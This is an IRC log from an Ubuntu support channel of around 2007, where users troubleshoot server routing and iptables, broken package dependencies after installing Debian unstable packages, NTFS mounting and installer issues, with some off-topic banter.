lupine_85mm, buy me one while you're stocking up ;)10:49
fokusleeMaric:  well like right now i just graduated applied math and mcb but i really don't like the jobs i get with them10:49
MooseHehe, I should replace all of mine with those :P10:49
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lupine_85:p10:50
Maricfokuslee: well you like airplanes?10:50
fokusleeMaric  im really interested in electronics but i have no experience10:50
MooseI've got two 4U SUN servers, not sure what to do with them. Never used SUN before.10:50
fokusleeMaric:  who doens't10:50
gnomefreakMaric: fokuslee join #ubuntu-offtopic10:50
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MooseBut I know that two of them on one circuit, not a good idea :P10:50
fokusleeT.T10:50
DaneDoghow many mod chips have you done in video games :) if u do soldering in a class i'm sure students ask u to do that to PS2's and Xbox10:51
lupine_85OpenSolaris is fun, but you can also run Ubuntu on sun hardware I think10:51
Maricsrry gnomw10:51
gnomefreakDaneDog: join #ubuntu-offtopic to continue on that topic10:51
MooseThat would be cool then.10:51
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fokusleeMaric hehe i got u in trouble : ) are u there?10:51
DaneDoghas anyone gotten ubuntu to run on a ps2 or psp?10:51
DaneDogsorry10:51
lupine_85DaneDog: perfectly do-able10:52
Maricdane, focus see you in off topic?10:52
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DaneDogsure10:52
mneptokthanks, guys10:52
lupine_85see http://playstation2-linux.com/10:52
MooseJust a quick question about NICs, whats the point of having 3? :P10:52
lupine_85there's a debian distro that runs already, IIRC10:53
lupine_85Moose: lots of reasons10:53
lupine_85especially if you've got a cluster :)10:53
MooseA cluster?10:53
lupine_85lots of PCs together10:53
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MooseYeah, I suppose I have one then :P10:54
lupine_85e.g. a full rack of those 4-mobos/1U boxes :)10:54
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IntuitiveNippleMoose: Security on a gateway - WAN, LAN, and DMZ10:54
lupine_85mm. my server in london has a crossover cable direct into the Ubuntu gb mirror, among others10:54
lupine_85only 100mbps though10:54
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IntuitiveNippleAnyone doing kernel device hacking ?10:55
torkel_Can anyone help me with a routing/firewall issue here? I've got a server with two NIC's. One connected to the LAN and the other to internet. The lan have full access to the internet and no trouble at all (im on freenode now f.ex), but I cannot connect from the server itself. I've checked iptables and the routing table, and I can't find the error :/10:55
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DaneDogmaric: hey maric u coming over to offtopic?10:55
lupine_85torkel_: weird stuff. A DNS problem?10:55
torkel_lupine_85: no, cant reach ip's either10:56
lupine_85what's between server & internet?10:56
IntuitiveNippletorkel_: does the syslog show refused connections?10:56
torkel_lupine_85: it's directly connected to the isp via fibre channel10:56
MooseIf I install another hard drive, and want to access it through ubuntu, how would I partition it? With what file system and what mounting directory and such?10:56
torkel_IntuitiveNipple: Let me check10:56
lupine_85any chance the ISP is blocking that IP?10:56
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lupine_85oh, and is the network setup sane?10:57
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lupine_85since you've got fibre channel, I assume it must be :)10:57
torkel_lupine_85: not blocking the IP, im masquerading the LAN on the same ip10:57
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lupine_85you only have the one IP?10:58
lupine_85(public)10:58
IntuitiveNippletorkel_: Is it multi-homed on the WAN i/f - in other words, routing the LAN on one IP, but trying to route itself on another?10:58
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lupine_85major w00tage10:59
SurfnKid!fonts10:59
ubotuFont installation basics here: https://help.ubuntu.com/community/FontInstallHowto - No fonts in Flash? Install "msttcorefonts" (from !Multiverse), "gsfonts", and "gsfonts-x11". No fonts in MPlayer? see !MPlayer10:59
lupine_85another milestone gone :)10:59
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Jowitorkel_, if the lan can access the net then it is not a routing issue. what type of server is it that you have set up? is it in the LAN? can the clients in the LAN ping the machine that the server is running on?10:59
mneptoklupine_85: just dropped 3 minutes ago :)10:59
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lupine_85:p11:00
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impulze-hey how can i get a normal terminal from the ubuntu amd64 livecd?11:02
impulze-without firing up the installer?11:02
impulze-just a normal shell :)11:02
lupine_85ctrl+alt+f1 ? ;)11:02
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impulze-ok :) i'm not sure another guy is trying to rescue his system and i'm helping him remotely and he only got ubuntu livecd :)11:02
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MarupaHey, really quick question.  How would I enable higher resolutions than 1024x768?  I know my monitor and card support it.11:03
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gnomefreakimpulze-: from the menu go to applications>accesories>terminal ;)11:03
jrib!fixres | Marupa11:04
ubotuMarupa: The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto11:04
impulze-gnomefreak: which option would i have to choose during booting from the cd?11:04
gnomefreakimpulze-: boot or install11:04
Marupathank you, jrib.11:04
impulze-gnomefreak: but choosing install opens the partitioner11:04
impulze-gnomefreak: i don't need that11:04
gnomefreakimpulze-: when you have the 5 or so choices you would choose the 1st one11:04
noobcookrofl11:04
noobcooki found kenacort A-10 in my fridge11:04
mneptokMarupa: sudo dpkg-reconfigure xserver-xorg11:04
gnomefreakimpulze-: choosing the first option will bring you to the desktop so you can either use the livecd or install from it11:04
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DRMacIverHm. THe latest mozilla java plugin in the repositories seems to use 1.4. That's just embarassing. :)11:05
impulze-gnomefreak: the first option is "install in text mode"11:05
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gnomefreakimpulze-: thats not the live cd than11:05
gnomefreakimpulze-: thats the alternate cd11:06
impulze-it's the amd64-alternative cd11:06
impulze-yes11:06
impulze-sorry i didnt make that clear11:06
jribDRMacIver: no, 1.5 on edgy at least11:06
gnomefreakimpulze-: you cant do anything but install with that cd11:06
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DRMacIverjrib: I don't see it.11:06
DRMacIverjrib: They have the 1.5 jre, but I don't see the browser plugin for it.11:06
jrib!info sun-java5-plugin | DRMacIver11:06
ubotusun-java5-plugin: The Java(TM) Plug-in, Java SE 5.0. In component multiverse, is optional. Version 1.5.0-08-0ubuntu1 (edgy), package size 1 kB, installed size 64 kB11:06
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gnomefreak!info sun-java5-plugin dapper11:06
ubotusun-java5-plugin: The Java(TM) Plug-in, Java SE 5.0. In component multiverse, is optional. Version 1.5.0-06-1 (dapper), package size 1 kB, installed size 64 kB11:06
DRMacIverHm. Maybe I've messed up my repository setup. I'll try again. :)11:06
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gnomefreakDRMacIver: if you see 1.4 you will see 1.511:07
impulze-gnomefreak: do i need ubuntu-6.10-desktop-amd64.iso    ?11:07
gnomefreakimpulze-: yes11:07
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impulze-ok11:07
gnomefreakDRMacIver: look for package sun-java5-plugin11:07
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DRMacIvergnomefreak: I see bin, demo, doc, fonts, jdk, jre and source. No plugin.11:08
DRMacIverOh11:08
DRMacIverNote that I'm on AMD6411:08
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gnomefreakah11:08
DRMacIverThat's usually the problem. :)11:08
gnomefreakDRMacIver: than install bin and jre11:08
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jribDRMacIver: yep, http://packages.ubuntu.com/cgi-bin/search_packages.pl?keywords=sun-java5-plugin&searchon=names&subword=1&version=edgy&release=all11:09
DRMacIverI already have the 6 JDK installed. They don't include the plugin. :)11:09
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DRMacIverjrib: Oh well.11:09
jribDRMacIver: there should be links from the restricted wiki on getting it to work with amd6411:09
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DRMacIverYeah, but it will probably me more time and effort than I feel like putting into it at this time in the morning. :)11:10
DRMacIverbe11:10
DRMacIverI'll take a look later. Thanks.11:10
jribyes, would probably be faster to just reinstall the i386 version of ubuntu :)11:10
jackassok.. i have a problem! when i set the subnet for 192.168.0.0 at 255.0.0.0 the route config changes to 192.0.0.0 255.0.0.0 ... essentially I can't connect to anyone... help?11:10
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DRMacIverMy philosophical stance on that suggestion is that I'm more interested in having a properly functioning 64 bit system than I am in playing applets. :)11:11
DRMacIverAnd for most other things I'll set up a dchroot when I get round to it.11:11
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Jowijackass, you do not have a 255.0.0.0 network11:12
mneptokjackass: you want 255.255.255.0 for the mask11:13
jackasswill my friends are using windows, and they successful playing etc.. i know, its technically incorrect.. but hey? what can I do? lol11:13
jackassok11:13
jackasswill tell them to change11:13
jackassi thought so too11:13
jackasswindows.. its shocking the network crimes it commits!@!@!11:13
Jowijackass, 255.0.0.0 is a class A network. you do not have that. take my word for it11:13
jackassthanks11:14
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un_operateurjackass, if you want to use that setup (a weird one indeed) .. all computers on that network must use a mask of 255.0.0.011:14
mneptokJowi: you never know. maybe he's the human incarnation of uuNet ;)11:14
noobcookusenet *vomit*11:14
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mneptokuuNet != Usenet11:15
Jowijackass, in a "normal" LAN network the subnet mask will be 255.255.255.0 and that is what I think you want seeing the ip address you wish to use. here's some basics for you http://en.wikipedia.org/wiki/Subnetwork11:15
torkel__Jowi: It's a fujitsu siemens primergy rx100s3 server, a 19" blade. I can ping both of the NICs on the server from inside the lan, the one connected to internet and the one connected to the lan. The lan clients have access to the internet also, but not from the server when i ssh in to the server from inside the lan. There is another strange problem though, connecting to ssh takes some time.. 20 seconds perhaps :/11:15
Jowijackass, 255.255.255.0 is a class C network11:15
jackassJowi: thanks!11:15
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torkel__Jowi: i can also ping the lan clients from the server, but not the internet gateway or any further than that.11:16
jackassJowi: I understand .. my friends have incorrectly configured the LAN setup.. let me fix it11:16
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un_operateurJowi, 255.255.255.0 is actually a Class E network .. :) it's the default classful mask for a class C network tho :)11:16
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Jowitorkel__, are you connecting to the servers ip address or its name?11:17
Jowiun_operateur, very very true11:17
torkel__Jowi: ip, no dns record yet.11:17
mneptoktorkel__: traceroute time11:17
torkel__1.8ms11:17
reverendnathanHowdy, I'm trying to install ubuntu 6.1, and I gotta problem. the GUI doesn't recognize my mouse of keyboard. They are generic PS/2 devices that both Windows and Arch Linux had recognized from the get-go.11:17
torkel__ 1  192.168.4.1 (192.168.4.1)  2.554 ms  2.613 ms  2.675 ms11:18
torkel__ 2  192.168.0.1 (192.168.0.1)  1.994 ms  1.745 ms  1.835 ms11:18
reverendnathanIs there another install method or boot command I can use?11:18
mneptoktorkel__: do the packets reach the destination?11:18
torkel__mneptok: yeah11:18
torkel__mneptok: i'm sitting on the lan, and i can ping my gateway, the server, and further out to the internet.11:18
bimberireverendnathan: do you have keyboard in the virtual console?11:18
noobcookwhy isnt there any guides to cooking methamphetamines on google you ask11:18
mneptoktorkel__: then routing is not the issue. check firewall rules.11:18
noobcookwell the government made it so google cant return searches for that11:18
reverendnathanbimberi: I'm doing a CD install11:19
jribnoobcook: #ubuntu-offtopic please11:19
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noobcookhahaha ok =)11:19
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un_operateurtorkel__, can you !pastebin the output of  - route -n11:19
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bimberireverendnathan: ah, so no k/b or mouse when the LiveCD boots?11:19
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mneptoknoobcook: #ubuntu-methlab is on another network hosted from a double-wide trailer11:20
un_operateurtorkel__, route -n  on the server/router/gateway11:20
bimberir.o.f.l.11:20
Jowitorkel__, i'm confused by your description. you say that the LAN has got access to the internet but can't ping the gateway...? did I understand that correctly?11:20
noobcookmneptok:  ROFL11:20
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reverendnathanbimberi: When I used the 5.0 CD for my backup, I had no problem. This new installer for 6.1 is some sort of LiveCD-InstallCD hybrid, where it loads up Gnome as it were, and has a desktop icon "Install". Problem is I can't point or guide my way to there because... well... you know.11:21
Jowitorkel__, or is it from within the server you can't ping the gateway?11:21
un_operateurJowi, it seems to me, the gateway/router has 2 default routes and the LAN-side one takes precedence because of the lower metric11:21
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mneptokreverendnathan: checked BIOS settings for the "Legacy IO Support?"11:22
bimberireverendnathan: yep i know :/ . At the moment all I can suggest is to try the alternate CD (which is a pretty crappy suggestion I know)11:22
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Jowitorkel__, do the server have the correct ip/mask/gateway set up?11:22
Jowilooks like it un_operateur11:22
bimberireverendnathan: so listen to mneptok (especially his jokes) :)11:22
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torkel__Jowi: jowi, the setup is like this  LAN(192.168.4.0/24)<->ROUTER<-(192.168.0.0/24)->SERVER<->INTERNET. The LAN clients have access to the internet and can ping all hosts, the server can ping the router and all hosts on lan, but not internet11:23
reverendnathanbimeri: Like, install version 5, and go through updates?11:23
torkel__un_operateur: !pastebin?11:23
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reverendnathanmneptok: Lemme check. Hold up fool11:23
reverendnathans11:23
reverendnathanfools*11:23
reverendnathanAh11:23
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reverendnathanI just installed Vista11:23
un_operateur!paste | torkel__11:23
ubotutorkel__: paste is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (be sure to give the URL of your paste)11:23
bimberi!alternate | reverendnathan11:23
ubotureverendnathan: The Alternate CD (available as of Dapper) is the classical text-mode installation CD. Use it if you wish to upgrade via CD, or for an "expert" mode install. For normal installs, use the Desktop CD, which is also a "Live" CD.11:23
reverendnathanAdvice to those who still have interest in Windows11:23
mneptokreverendnathan: "fools?" dude, *my* keyboard works ;)11:24
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reverendnathanIt's XP with some new tricks... not worth it11:24
reverendnathanhaha11:24
reverendnathanIt's slang in this region I'm in11:24
mneptokreverendnathan: 1996?11:24
reverendnathanOh, that alternitive CD sounds just fine!11:24
mneptok:P11:24
reverendnathanHaha11:24
reverendnathanSouther California11:24
un_operateurtorkel__, so in this setup it's 'server' that is behaving a little odd, right?11:24
tijncan it do a handstand?11:24
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reverendnathanBut lemme check me BIOS11:24
reverendnathanBRB11:24
torkel__un_operateur: yeah, seems like iptables issues.. but can find any error there :/ Probably is though11:25
mneptokreverendnathan: seriously, poke around the BIOS for settings related to PS/2 support11:25
un_operateurtorkel__, I think it's more a routing issue -- can you get on the server and paste the contents of the route -n command11:25
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torkel__un_operateur: http://paste.ubuntu-nl.org/1284/11:25
labanuxis there any program in Ubuntu to create UFS filesystem??11:26
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mneptoklabanux: by default UFS write is turned off, iirc11:27
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un_operateurtorkel__, errm, from the server, can you ping these two addresses? 84.16.196.189 and 72.14.207.9911:28
torkel__un_operateur: eth0 is connected to internet, and eth1 the lan11:28
labanuxmneptok : so how can i turn it on?11:29
un_operateurtorkel__, yep, i noticed that11:29
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torkel__un_operateur: cant ping any of them from the server11:29
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IntuitiveNippletorkel__: routing table looks identical to mine, and mine works fine.11:29
xiphi, Im having problems getting my wireless to work, can someone help me?11:29
torkel__un_operateur: can ping them from the lan though11:29
IntuitiveNippletorkel__: Have you tried stopping the firewall temporarily to see if that allows you WAN access?11:29
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IntuitiveNippletorkel__: can you pastebin iptables -L ?11:30
SHRIKEEhttp://www.sothq.net/2007/01/12/what-would-be-different-for-you-if-you-had-no-computer/11:30
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un_operateurtorkel__, can 'server' ping any of the 192.168.4.x addresses? they seem ok here11:30
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torkel__un_operateur: no, cant ping 192.168.4.0/24 from the server (i really thought i could :P)11:31
reverendnathanAlright, didn't see any option for Legacy I/O11:31
Jowitorkel__, what is the ip of the server?11:31
reverendnathanI'm gonna take a fstab that that alternaCD11:31
labanuxis there any program in Ubuntu to create UFS filesystem??11:31
torkel__IntuitiveNipple: http://paste.ubuntu-nl.org/1285/11:32
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torkel__Jowi: the internal 192.168.0.1 and the external the one i got from isp11:32
Jowitorkel__, so your router and the server is the same machine?11:32
IntuitiveNippletorkel__: pastebin your ifconfig please?11:33
Jowitorkel__, how about putting the server on the same network as you lan?11:33
torkel__torkel__: i got two routers... the lan (192.168.4.0/24) is connected to one, and that one is connected to the server via 192.168.0.011:33
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un_operateurJowi, it is on the same network .. atleast one interface is11:34
torkel__Jowi: wont have it on the same subnet11:34
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torkel__IntuitiveNipple: http://paste.ubuntu-nl.org/1286/11:35
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torkel__let me clean up the iptables rules and paste them11:41
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IntuitiveNippletorkel__: Well, I can ping your WAN gateway but not the server, so there's obviously *something* intercepting11:41
un_operateurtorkel__, what i would do now is delete each route (route delete ..) and add them back giving each route except the 0.0.0.0 a metric of 20 and giving 0.0.0.0 a metric of 10 .. that way you force all exernal traffic to exit the eth0 interface to 84.16.196.18911:41
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gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.11:41
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IntuitiveNippleI don't see any problems in the routing table - its a straightforward gateway table11:41
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un_operateurIntuitiveNipple, the problem is that all routes possess the same metric now .. usually the dfault route 0.0.0.0 has a lower metric than the others11:41
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torkel__IntuitiveNipple: some firewall rules, i clean them up now11:41
IntuitiveNippleBut, metrics only come into play where you've got identical routes11:41
IntuitiveNippletorkel__: thanks11:41
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IntuitiveNippleI've got an identical setup here (route-wise) and it works fine11:41
jimcooncatis there a nice howto to install edgy alongside dapper, and dual boot?11:41
saul_hi11:41
torkel__firewall setup http://paste.ubuntu-nl.org/1287/11:48
un_operateurIntuitiveNipple, errm, actually, notice the second route 192.168.0.0 has a gateway of 0.0.0.0 when it should be something like 192.168.0.1 as like the third route?11:48
IntuitiveNippleno, thats correct. mines reads: 10.254.251.0    0.0.0.0         255.255.255.0   U     0      0        0 eth011:48
torkel__i cant reach 192.168.4.x from the server either :)11:48
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torkel__no traffic out from it, only forwarding11:48
torkel__and traffic in to it works11:48
IntuitiveNipplewhen the gateway is 0.0.0.0 the route uses the i/f specified11:48
un_operateurIntuitiveNipple, if i read that right then it's going to send all traffic destined to 192.168.0.x out the default route which is out on the internet i.e. 84.16.196.18911:48
un_operateurIntuitiveNipple, !worksforme might not work for everyone else :)11:48
IntuitiveNippleno, it'll send it via the i/f - in this case the LAN i/f eth111:48
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Jowitorkel__, if inbound traffic works but outbound doesn't. then the gateway of either server or the rotuer it is connected to is faulty.11:48
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IntuitiveNippletorkel__: lets see those firewall rules, it feels like something in there is playing silly buggers11:48
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un_operateurtorkel__, do the clients on either of the networks have problem pinging across i.e. 192.168.0.x to 192.168.4.x and vice-versa?11:48
mwe#debian11:48
goodthingthe new macbooks with core 2 duo cpu's, do they need to get installed with the powerpc iso too?11:48
torkel__IntuitiveNipple: http://paste.ubuntu-nl.org/1287/11:48
Jowigoodthing, intel (PC) one11:48
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goodthingJowi: so i386 right?11:48
torkel__un_operateur: the clients on the lan can reach everything. Traffic coming from the internet and in i dont know about, you can try http://84.16.196.19011:48
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Jowigoodthing, should be. yes11:48
un_operateurtorkel__, what's the IP address of the router in the 192.168.0.0 network .. the side connecting upto the server?11:48
torkel__un_operateur: 192.168.0.211:48
goodthingJowi: better be ;) because i am not buying a macbook when i cannot put ubuntu on it...11:48
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Jowigoodthing, not sure if the core 2 is 64 bit and will work with the 64-bit PC version. or if it needs the x86 version.11:48
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mweit's 64 bit11:48
torkel__i love my macbook :)11:49
mweEMT64 will work with the 64 bit version I think11:49
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un_operateurtorkel__, I would try backing up the route table and tweaking the 192.168.0.0 route like this -- sudo sh -c "route -n > route.bak; route del -net 192.168.0.0 gw 0.0.0.0 netmask 255.255.255.252; route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.0.2"11:49
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Oni-Draculasince everyone in #xchat is a child, I'd like to see if anyone knows if there is a version of the xchat-text package that is up to date with xchat?11:50
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mwe!info xchat-text11:51
ubotuPackage xchat-text does not exist in any distro I know11:51
andyshackevening folks. can someone point me in the right direction for an app to monitor services / network traffic for my ubuntu box ? id like to watch what its up to and see what services are talking to the wan and how much data they are using.11:51
mweit doesn11:51
mweit doesn't exist11:51
un_operateurandyshack, !firestarter11:52
andyshackun_operateur : cool ill have a look at it cheers. youve used it ?11:52
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un_operateurandyshack, errm, not much no .. it's actually a GUI frontend to IPTables but it can monitor traffic almost in real-time11:53
Oni-Draculait existed in hoary11:53
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Oni-Draculaand debian still has a version for xchat 2.411:53
andyshackyeah that sounds good enough for now.11:53
Oni-Draculabut we're up to 2.6 in edgy11:53
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un_operateurOni-Dracula, ubuntu != debian .. debian is hesitant to release the latest, best and greatest because their foremost aim is stability11:54
Oni-Draculameh11:55
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Oni-Draculai thought maybe there was development made for xchat-text to bring it up to date11:55
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gdbAh, to be fair, the debian that most people use will, generally, be more "up to date" than Ubunty.11:56
gdber Ubuntu11:56
Oni-Draculafor now, irssi will be my console client11:56
Oni-Dracula:-/11:56
gdb(at least after a couple of months!)11:56
DiKKyirssi is d best11:56
Oni-Draculai always like to have a text irc client just in case I break something11:57
un_operateurtorkel_, any improvement?11:57
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gdbubuntu is a freeze of debian unstable, that's, well, stablized and then has ubuntu value-add applied.11:57
torkel_yn11:57
gdbmost people use debian testing or unstable, and unstable trickles into testing.  *most* installs of debian are not debian stable.11:57
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torkel_un_operateur: no, i've changed the routing... let me paste the new route -n11:57
un_operateurtorkel_, ok11:58
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DiKKygdb why are u beeing such anti-ubuntu zealot11:59
torkel_un_operateur: http://paste.ubuntu-nl.org/1289/11:59
gdbandyshack: mrtg is what you want11:59
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Oni-Draculauhh11:59
gdbDiKKy: I beg your pardon?11:59
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Oni-Draculais it possible that EasyTAG corrupted a few of my mp3's?11:59
DiKKyyou heard me11:59
torkel_un_operateur: same issue as last time11:59
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gdbandyshack: Actually, perhaps it's not.. hrm.12:00
snailOni-Dracula: anything is possible, more likely that the were already non-standard, damaged or corrupted and EasyTAG made them worse12:00
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bakerthello everyone.  i'd be really, really grateful if you could help me with this one.  i tried to install some .debs from debian-unstable and now i can't get apt-get back into a working state.12:00
torkel_un_operateur: back in a minute, going to move my macbook to the serverroom :)12:00
andyshackwow. ive got 15 ip's a second hitting my box. i knew there was something up.12:00
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Oni-Draculasnail, ugh... i really need to start buying music12:00
IntuitiveNippletorkel_: Try adding an if lo rule for OUTPUT12:00
gdbntop might work, though, for that12:00
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stefgCan anyone help with this? I login from my desktop-PC to my laptop via ssh -X and start a remote gtk-app. Although i'm using the excat same themes on host and client, the remote app falls back to the standard GTK theme (the stupid grey one). Doesn't theming work  for remote Displays?12:01
gandalfcomeI have an ati graphics card and use that for dual screen. unfortunatley I get a mouse offset on one of the screens. Help greatly appreciated.12:01
frogzooandyshack: that's pretty standard for a net connected box12:01
snailbakert: installed by hand or by apt-get?12:01
bakertI tried to "dpkg -i " on ghc6.6 (a compiler for haskell) and it required libc6 so I got the .deb for that and did the same.  which required tzdata so i did the same for that.12:01
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Oni-Draculaa lot of my music now sounds like it has bad gas12:01
CITguycan someone tell me why I don't have permission to view a mounted file system?12:01
vect0rxso if it took me a whole day get my relatiely older laptop to pout out xort on a 1366x768 lcdtv, who might want to keep track of my cfg for a similar latoptop video chipset that was a beeeeyotch to get right (me being a unix software eng)12:01
bakerti removed everything.  now when i do "apt-get -f install" i get "unmet dependencies" because tzdata is not installable.12:01
frogzooCITguy: what type of file system?12:01
gdbbakert: You've basically hosed your machine.  I'd really suggest reinstalling it unless you want to do a mass of forced package installs by hand.12:01
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vect0rxcitguy, depemds on fs... mount /dev/device /mnt/place -o umask=000 might loosen it up12:02
un_operateurtorkel_, yea but the route's aren't correct -- notice that the gateway for 192.168.0.0 is 192.168.0.1 not .2 .. moreover the route addresses a subnet of 192.168.0.0 i.e. 192.168.0.0/29 as opposed to 192.168.0.0/2412:02
gdbScrewing with libc is a really bad idea.12:02
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Jowistefg, you will get the same theme for gtk as your user have on the remote computer. the computer you connect from need to have it installed in order to display it though.12:02
CITguyI've configured my /etc/fstab file to mount a couple of ntfs partitions12:02
snailbakert: that or upgrade to unstable12:02
gdbAnd reinstalling takes about 15 minutes ;-)12:02
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CITguybut when I mount them, it says I don't have permission12:02
frogzooCITguy: ntfs is read only12:02
bakertif i try to install ghc6.4 i get a problem because it thinks i want the 6.6 referred to in the other packages (perhaps?)12:02
frogzoo!ntfs-3g | CITguy12:02
ubotuCITguy: ntfs-3g is is a Linux driver which allows read/write access to NTFS partitions. It has been extensively tested but is still BETA software, so use it with caution. Installation instructions at http://lunapark6.com/?p=1710 (Dapper) and http://ubuntuforums.org/showthread.php?t=217009/ (Edgy)12:02
torkel_IntuitiveNipple: if OUTPUT rule for what?12:03
snailCITguy: you need to add an option there you make them user-readable12:03
CITguyoh, ok. thanks12:03
bakertsnail, when you say "upgrade to unstable" what do you mean?  i thought ubuntu was based on debian-unstable?12:03
Jowistefg, example. Tod on PC1 ssh -X to Tod on PC2. Tod on PC2 have xshinytheme for gtk. PC1 need to have xshinytheme installed in order to display it.12:03
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CITguywait, if ntfs is read only. why can't i read it?12:04
torkel_un_operateur: the reason i cant ping the internal ip addresses of the lan from the server is because they are infact masqueraded by the router (192.168.0.2)12:04
frogzooCITguy: what's your fstab line?12:04
IntuitiveNippletorkel_: It ought not to make a difference as your default OUTPUT policy is ACCEPT, but you never know. The packets you're "losing" are coming from localhost as far as netfilters is concerned12:04
CITguyI think it has something to do with permissions12:04
un_operateurtorkel__, what is the mask of 192.168.0.2 (on router) ?? is it 255.255.255.0 or 255.255.255.252 ??12:04
jribCITguy: use the proper umask when you mount12:04
torkel_let me check.. 0 i guess :)12:04
stefgJowi: hmm... i use the same theme for the user on the lappie and the Desktop. So intheory it should work. But let me examine this further, now that I know how it /should/ work12:04
jrib!ntfs | CITguy12:04
gdbbakert: It's built on a freeze of Debian unstable, it is not, however, Debian unstable.  When Ubuntu is frozen, you can consider it more or less a "Debian stable".  Debian unstable continues to evolve daily and trying to mix the two is not really workable.12:04
ubotuCITguy: To view your Windows/Mac partitions see https://help.ubuntu.com/community/AutomaticallyMountPartitions. For write access see !ntfs-3g or !fuse12:04
un_operateurtorkel_, i dont think thats the issue because it is only traffic that traverses the server that is masqueraded not traffic originating from itself12:05
snailbakert: your problem is that you have one foot in each of two camps. your nightmare will only end when you have both feet in a single camp. moving completel to debian unstable is a possible (though not easy) way to do this12:05
IntuitiveNippletorkel_: but you might try: iptables -A OUTPUT -i lo -j ACCEPT12:05
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torkel__un_operateur: now its 255.255.255.252 on the router as well12:06
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un_operateurtorkel_, so what is this address 192.168.0.1/255.255.255.252 ? is it an interface on the router too?12:06
stefgJowi: D you think that just sync'ing the ~/.icons and ~/.themes (where the user defined themes are) will fix it?12:06
torkel__un_operateur: 192.168.0.1 is the NIC on the server, connected on the inside12:07
IntuitiveNipplethats the route on the router to the server12:07
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bakertsnail, hmm.  i see.  and a dist-upgrade to edgy (from dapper) or something a bit less painful than reinstalling won't do me any good because my versions are too recent?12:07
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Jowistefg, it might.12:07
bakert(the one i've added(12:07
stefgJowi: i'll try and let everyone know :-)12:07
torkel__un_operateur: internet <> server <192.168.0.0/255.255.255.252> router <192.168.4.0/24> lan12:07
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IntuitiveNippletorkel_: Did you try that i/f lo iptables rule?12:07
un_operateurtorkel_, well, so according to your routing table ..  all traffic to 192.168.0.0 is sent back up it's own interface ,.. almost in an endless loop12:07
gdbbakert: You can give it a shot!12:08
Jowistefg, I always have different themes on the computer so I don't confuse which machine I'm on :)12:08
gdbbakert: disable all references to debian unstable in your sources.list, replace all references to dapper with edgy, do an apt-get update and then apt-get dist-upgrade and pray.12:08
gdbbakert: make sure you have ubuntu-desktop installed before doing that12:08
stefgJowi: it's always in the window-title12:09
torkel__un_operateur: is it? only the router and the server sit on 192.168.0.0/29 (255.255.255.252)?12:09
gdbapt-get install ubuntu-desktop of dpkg -l ubuntu-desktop indicates an install status of "un"12:09
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apokryphosack12:09
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jriblol12:09
gdber if dpkg -l12:09
apokryphosone sec though12:09
un_operateurtorkel_, examine route -n again .. second route's gateway is it's own interface .. :)12:09
snailbakert: you've installed debian core packages, you need to upgrade to debian, or downgrade back to ubuntu12:10
bakertgdb, i don't have ubuntu-desktop (according to dpkg -l) but that may just be because of my libc6 problem.12:10
Jowistefg, not in the graphical apps you launch from ssh (at least not for me)12:10
frogzoobakert: it's a metapackage - you don't need it12:10
bakertsnail, how do i downgrade back to ubuntu though?  (thanks for your help by the way folks)12:10
gdbbakert: is this ubuntu, kubuntu, or xubuntu?12:10
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torkel__un_operateur: true, but i get pingreply from 192.168.0.2 from the server.. very responsive. Anyways how do I fix it? is there any need for adding a route to that net or will ifconfig eth1 192.168.0.1 netmask 255.255.255.252 do?12:11
bakertgdb, ubuntu dapper12:11
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gdbbakert: Ah, ok, and installing ubuntu-desktop isn't going to work because the dpkg state on the system is broken.. hrm12:11
stefgJowi: Got it. although it's the same theme, it's in /usr/share/themes on the Desktop, put in ~ on the lappie... The ususal 'human error'12:11
bakertyep12:11
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gdbbakert: Which packages, exactly, where installed new?12:11
gdber were12:11
un_operateurtorkel_, the next hop for that route should be 192.168.0.2 as with the 192.168.4.0 route12:12
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gdbbakert: you could consider downloading those specific packages from an ubuntu repo (by hand) and force downgrading to them with dpkg.12:12
bakertgdb, i tried to install ghc6.6 which failed because it needed libc6.6, then i tried to install libc6 which failed because it needed tzdata, then i tried to install that12:12
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snailbakert: (1) backup your data (2) uninstall as many as possible of the debian packages as will uninstall nicely (3) uninstall the other debian packages and install the ubuntu ones, using --force options and other nastiness12:12
snailbakert: your best option is a reinstall12:12
torkel__un_operateur: you lost me :D12:13
gdbWell, trying to fix it may take hours12:13
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gdbreinstalling will take a few minutes ;-)12:13
gdbBut --- if you try to fix it12:13
gdbYou can learn a lot!12:13
keithgIs there a way to turn voices on and off in Ubuntu?  For some extremely strange reason I can't hear singing in ANY of my music.12:13
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snailbakert: there are some forceing and fixing options to apt-get you will need to learn12:13
mneptokapokryphos: no Feisty mention? :?12:13
un_operateurtorkel__, delete old route and   route add -net 192.168.0.0 netmask 255.255.255.252 gw 192.168.0.212:14
bakertIf I reinstall I need to back up 60GB of data and recreate the link to my encrypted home partition and other nightmares.  i'd really rather try and "undo" what i've done if at all possible.12:14
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apokryphosmneptok: see -ops12:14
gnomefreakmneptok: you still around?12:14
gnomefreakoh ok apokryphos you got it?12:14
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torkel__un_operateur: that seems justs as wrong? "i can reach 192.168.0.0 through 192.168.0.2?12:14
IntuitiveNippleun_operateur: the *gateway* for the route 192.168.0.0/30 should be 0.0.0.0 (eth1) since the server itself exists in the 192.168.0.0/30 subnet12:14
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IntuitiveNippleotherwise you are telling the server to route packets for itself to the LAN router, directly from localhost12:15
un_operateurtorkel_, another thing -- if only 192.168.0.1 and .2 exist in that subnet, how do you verify cross subnet talk .. ??12:15
snailbakert: there's also: "apt-get install --reinstall --ignore-missing <list of all installed packages>"12:15
bakertsnail, gdb, I tried dpkg -i on three packages.  the first two failed (ghc6 and libc6) because of dependencies.  And then tzdata failed too in the middle because it tried to overwrite some file that also belonged to "locales".  So nothing actually installed???12:15
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torkel__un_operateur: cause im on the server 192.168.0.1 from 192.168.4.10812:15
torkel__using ssh12:15
dromerwhat is a good ploce to download N64 roms?12:15
bakertsnail, gdb, So I've kind of messed up the metadata but not the actual system???12:15
snailbakert: probably12:16
torkel__un_operateur: but it takes some time to establish the connection, 10-20 seconds.12:16
snailbakert: what was the exact command line that failed?12:16
gdbbakert: your 60GB of data, is it on a separate partition?12:16
IntuitiveNippleThe only time you add a gateway IP to a route is when the subnet is not directly connected to the server itself12:16
torkel__un_operateur: but when connected it's all okay12:16
snailbakert: please tel me that the 60GB is backed up?12:16
